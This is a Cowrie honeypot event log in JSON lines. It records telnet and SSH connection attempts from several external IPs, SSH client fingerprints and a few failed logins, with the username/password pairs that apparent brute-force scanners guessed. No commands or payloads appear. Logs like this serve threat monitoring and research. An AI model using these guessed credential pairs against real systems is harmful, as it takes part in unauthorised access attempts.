{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39172,"dst_ip":"10.17.0.5","dst_port":23,"session":"b533800b7353","protocol":"telnet","message":"New connection: 64.227.101.30:39172 (10.17.0.5:23) [session: b533800b7353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:33.411610Z"}
{"eventid":"cowrie.session.closed","duration":39.140308141708374,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:33.442333Z","src_ip":"64.227.101.30","session":"94ac6aecb684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40148,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71d892610a9","protocol":"telnet","message":"New connection: 64.227.101.30:40148 (10.17.0.5:23) [session: a71d892610a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:34.980476Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48830,"dst_ip":"159.203.135.109","dst_port":23,"session":"30bc37cef68e","protocol":"telnet","message":"New connection: 68.183.198.12:48830 (159.203.135.109:23) [session: 30bc37cef68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:36.218068Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"91d2655f193d","protocol":"ssh","message":"New connection: 43.165.185.71:53934 (10.17.0.5:22) [session: 91d2655f193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:36.614894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:36.619668Z","src_ip":"43.165.185.71","session":"91d2655f193d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:36.787673Z","src_ip":"43.165.185.71","session":"91d2655f193d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40772,"dst_ip":"10.17.0.5","dst_port":23,"session":"da117bc5d973","protocol":"telnet","message":"New connection: 64.227.101.30:40772 (10.17.0.5:23) [session: da117bc5d973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:36.988918Z"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@44","message":"login attempt [ali/ali@44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:37.492442Z","src_ip":"43.165.185.71","session":"91d2655f193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:38.666399Z","src_ip":"43.165.185.71","session":"91d2655f193d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41232,"dst_ip":"10.17.0.5","dst_port":23,"session":"92ba365091d2","protocol":"telnet","message":"New connection: 64.227.101.30:41232 (10.17.0.5:23) [session: 92ba365091d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:41.195067Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47886,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2af47d2de1b","protocol":"telnet","message":"New connection: 64.227.101.30:47886 (10.17.0.5:23) [session: e2af47d2de1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:53.802965Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48332,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0c9673187f","protocol":"telnet","message":"New connection: 64.227.101.30:48332 (10.17.0.5:23) [session: 1f0c9673187f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:53.849294Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e99b5cf97b22","protocol":"telnet","message":"New connection: 68.183.198.12:51826 (159.203.135.109:23) [session: e99b5cf97b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:14:56.545394Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50588,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dbbc3d4f6dc","protocol":"telnet","message":"New connection: 64.227.101.30:50588 (10.17.0.5:23) [session: 8dbbc3d4f6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:00.739979Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53612,"dst_ip":"10.17.0.5","dst_port":23,"session":"52bb7a541c61","protocol":"telnet","message":"New connection: 64.227.101.30:53612 (10.17.0.5:23) [session: 52bb7a541c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:05.139801Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":57304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18a27f90d9a","protocol":"ssh","message":"New connection: 103.170.173.26:57304 (10.17.0.5:22) [session: c18a27f90d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:06.854406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:06.866201Z","src_ip":"103.170.173.26","session":"c18a27f90d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:07.149303Z","src_ip":"103.170.173.26","session":"c18a27f90d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53376,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ffc118f99b","protocol":"telnet","message":"New connection: 68.183.198.12:53376 (159.203.135.109:23) [session: 63ffc118f99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:08.072071Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu!@","message":"login attempt [ubuntu/ubuntu!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:08.304326Z","src_ip":"103.170.173.26","session":"c18a27f90d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:09.587495Z","src_ip":"103.170.173.26","session":"c18a27f90d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55586,"dst_ip":"10.17.0.5","dst_port":23,"session":"b56f75b31446","protocol":"telnet","message":"New connection: 64.227.101.30:55586 (10.17.0.5:23) [session: b56f75b31446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:10.098253Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b19402f49be","protocol":"telnet","message":"New connection: 64.227.101.30:57024 (10.17.0.5:23) [session: 3b19402f49be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:11.936217Z"}
{"eventid":"cowrie.session.closed","duration":4.503454685211182,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:12.575384Z","src_ip":"68.183.198.12","session":"63ffc118f99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57606,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdef1ac47b2e","protocol":"telnet","message":"New connection: 64.227.101.30:57606 (10.17.0.5:23) [session: fdef1ac47b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:13.168002Z"}
{"eventid":"cowrie.session.closed","duration":41.07209086418152,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:13.874438Z","src_ip":"64.227.101.30","session":"6c86548d0836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59312,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eea4c090169","protocol":"telnet","message":"New connection: 64.227.101.30:59312 (10.17.0.5:23) [session: 8eea4c090169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:16.277841Z"}
{"eventid":"cowrie.session.closed","duration":41.45616817474365,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:17.674100Z","src_ip":"68.183.198.12","session":"30bc37cef68e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58208,"dst_ip":"10.17.0.5","dst_port":23,"session":"98c57e57ab36","protocol":"telnet","message":"New connection: 64.227.101.30:58208 (10.17.0.5:23) [session: 98c57e57ab36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:18.251199Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42830,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cf61c30009","protocol":"telnet","message":"New connection: 64.227.101.30:42830 (10.17.0.5:23) [session: 28cf61c30009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:19.721292Z"}
{"eventid":"cowrie.session.closed","duration":0.005419731140136719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:19.726594Z","src_ip":"64.227.101.30","session":"28cf61c30009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.6693229675293,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:20.080793Z","src_ip":"64.227.101.30","session":"b533800b7353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60ecd07caef","protocol":"telnet","message":"New connection: 64.227.101.30:33658 (10.17.0.5:23) [session: e60ecd07caef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:21.987481Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":36036,"dst_ip":"10.17.0.5","dst_port":22,"session":"57953026dc46","protocol":"ssh","message":"New connection: 94.156.152.18:36036 (10.17.0.5:22) [session: 57953026dc46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:22.863311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:22.868334Z","src_ip":"94.156.152.18","session":"57953026dc46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:22.990166Z","src_ip":"94.156.152.18","session":"57953026dc46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#2VCPU4GB","message":"login attempt [root/YOGZVPS#2VCPU4GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:23.382367Z","src_ip":"94.156.152.18","session":"57953026dc46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.74826669692993,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:23.728602Z","src_ip":"64.227.101.30","session":"a71d892610a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35202,"dst_ip":"10.17.0.5","dst_port":23,"session":"450df0942472","protocol":"telnet","message":"New connection: 64.227.101.30:35202 (10.17.0.5:23) [session: 450df0942472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:23.771224Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:24.509189Z","src_ip":"94.156.152.18","session":"57953026dc46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35668,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb38741da0d8","protocol":"telnet","message":"New connection: 64.227.101.30:35668 (10.17.0.5:23) [session: eb38741da0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:24.514969Z"}
{"eventid":"cowrie.session.closed","duration":51.69311714172363,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:28.681902Z","src_ip":"64.227.101.30","session":"da117bc5d973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":47296,"dst_ip":"10.17.0.5","dst_port":22,"session":"4758819b7630","protocol":"ssh","message":"New connection: 43.165.185.71:47296 (10.17.0.5:22) [session: 4758819b7630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:29.297190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:29.303057Z","src_ip":"43.165.185.71","session":"4758819b7630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:29.488731Z","src_ip":"43.165.185.71","session":"4758819b7630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1","message":"login attempt [ubuntu/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:30.270408Z","src_ip":"43.165.185.71","session":"4758819b7630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:31.458963Z","src_ip":"43.165.185.71","session":"4758819b7630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2549914845","protocol":"telnet","message":"New connection: 64.227.101.30:38120 (10.17.0.5:23) [session: ec2549914845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:32.099178Z"}
{"eventid":"cowrie.session.closed","duration":39.37594127655029,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:33.225117Z","src_ip":"64.227.101.30","session":"1f0c9673187f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53646,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d98e55272ad","protocol":"telnet","message":"New connection: 64.227.101.30:53646 (10.17.0.5:23) [session: 5d98e55272ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:36.715251Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40792,"dst_ip":"10.17.0.5","dst_port":23,"session":"09380f51d485","protocol":"telnet","message":"New connection: 64.227.101.30:40792 (10.17.0.5:23) [session: 09380f51d485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:37.923431Z"}
{"eventid":"cowrie.session.closed","duration":42.34501767158508,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:38.890317Z","src_ip":"68.183.198.12","session":"e99b5cf97b22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55000,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09bea052513","protocol":"telnet","message":"New connection: 64.227.101.30:55000 (10.17.0.5:23) [session: b09bea052513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:40.923220Z"}
{"eventid":"cowrie.session.closed","duration":0.004995107650756836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:40.928076Z","src_ip":"64.227.101.30","session":"b09bea052513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.64790153503418,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:41.387738Z","src_ip":"64.227.101.30","session":"8dbbc3d4f6dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d559bd819ecb","protocol":"telnet","message":"New connection: 64.227.101.30:45310 (10.17.0.5:23) [session: d559bd819ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:42.967017Z"}
{"eventid":"cowrie.session.closed","duration":39.413352251052856,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:44.552868Z","src_ip":"64.227.101.30","session":"52bb7a541c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59732,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8b57deb63e","protocol":"ssh","message":"New connection: 193.32.162.145:59732 (10.17.0.5:22) [session: 9d8b57deb63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:48.648235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:48.653178Z","src_ip":"193.32.162.145","session":"9d8b57deb63e","protocol":"ssh"}
